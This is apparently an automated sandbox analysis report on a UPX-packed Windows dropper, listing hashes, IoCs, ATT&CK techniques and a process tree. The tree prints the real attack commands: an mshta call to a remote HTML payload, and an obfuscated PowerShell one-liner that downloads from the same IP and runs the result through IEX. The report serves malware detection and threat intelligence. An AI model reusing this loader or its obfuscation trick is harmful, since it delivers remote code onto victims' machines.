9699022b7bd45a72cf29614bdd131400dbee0ab5d6a5c2e03ed1c13e7cf0eca0

General

Target

file.exe
Size

91KB
MD5

0930b477703d6a03eb120ad3543513d8
SHA1

7bc33a9595ffd5f5bacb6843ee1dfcd86df74fa1
SHA256

9699022b7bd45a72cf29614bdd131400dbee0ab5d6a5c2e03ed1c13e7cf0eca0
SHA512

0d9b4c07fbc13f484269d181f2587c92f7a7b817bca07f9956c16aa01c441d8a60ae13afe554f2f8a497607730d7641b2352f481d3cebb98e633b03ddc27617d
SSDEEP

1536:XRzdezMTHOFP5WKcyRm1YGl/KVzFeS6Bqt/pr2sQOIkbrPsNI:WzMDKwKx8Yl1FKqtRFYsrPV

Score

10^/10

upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://80.66.88.146/R.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://80.66.88.146/R.png

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

3 1064 mshta.exe
4 1952 powershell.exe

flow	pid	process
3	1064	mshta.exe
4	1952	powershell.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/1380-59-0x0000000000400000-0x0000000000434000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1952 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1952 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1952	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1952	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

file.exeWScript.execmd.exemshta.exe

description	pid	process	target process
PID 1380 wrote to memory of 820	1380	file.exe	WScript.exe
PID 1380 wrote to memory of 820	1380	file.exe	WScript.exe
PID 1380 wrote to memory of 820	1380	file.exe	WScript.exe
PID 1380 wrote to memory of 820	1380	file.exe	WScript.exe
PID 820 wrote to memory of 1484	820	WScript.exe	cmd.exe
PID 820 wrote to memory of 1484	820	WScript.exe	cmd.exe
PID 820 wrote to memory of 1484	820	WScript.exe	cmd.exe
PID 820 wrote to memory of 1484	820	WScript.exe	cmd.exe
PID 1484 wrote to memory of 1064	1484	cmd.exe	mshta.exe
PID 1484 wrote to memory of 1064	1484	cmd.exe	mshta.exe
PID 1484 wrote to memory of 1064	1484	cmd.exe	mshta.exe
PID 1484 wrote to memory of 1064	1484	cmd.exe	mshta.exe
PID 1064 wrote to memory of 1952	1064	mshta.exe	powershell.exe
PID 1064 wrote to memory of 1952	1064	mshta.exe	powershell.exe
PID 1064 wrote to memory of 1952	1064	mshta.exe	powershell.exe
PID 1064 wrote to memory of 1952	1064	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\0x.vbs"
2⤵
- Suspicious use of WriteProcessMemory
PID:820

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c mshta http://80.66.88.146/R.html
3⤵
- Suspicious use of WriteProcessMemory
PID:1484

C:\Windows\SysWOW64\mshta.exe
mshta http://80.66.88.146/R.html
4⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1064

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='{AWA}(N{AWA}{AWA}e{AWA}w-{AWA}Ob{AWA}{AWA}je{AWA}{AWA}c{AWA}t N{AWA}{AWA}e{AWA}t.W{AWA}e';$c4='b{AWA}{AWA}Cli{AWA}{AWA}en{AWA}{AWA}t{AWA}).Do{AWA}{AWA}wn{AWA}{AWA}l{AWA}o';$c3='a{AWA}dS{AWA}{AWA}t{AWA}ri{AWA}{AWA}n{AWA}g{AWA}(''h{AWA}tt{AWA}p:/{AWA}/80.66.88.146/R.png''){AWA}';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('{AWA}','');IEX $TC|IEX
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1952

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\0x.vbs
Filesize
1KB

MD5
ae1c49e0588d1d2e09338aef13d408d9

SHA1
20e9198994d5e610c6289ebceea594619732d1e7

SHA256
6d68d66efe4cc8b58b9e9fb1461a8728606d1f27b23f1ecaa165cf8c5a62c4e4

SHA512
ecf714df09c4f3030c72346c9fd5914d1bb661d0ad13e8e409721212529ac0f68b7b0ce0e7f39e350e3c9999d07cd612426e2524e5627d5fdc56757c3beb4f8e

Download Submit
memory/820-55-0x0000000000000000-mapping.dmp

Download
memory/1064-60-0x0000000000000000-mapping.dmp

Download
memory/1380-54-0x00000000757A1000-0x00000000757A3000-memory.dmp

Filesize
8KB

Download
memory/1380-59-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/1484-58-0x0000000000000000-mapping.dmp

Download
memory/1952-61-0x0000000000000000-mapping.dmp

Download
memory/1952-63-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download
memory/1952-64-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads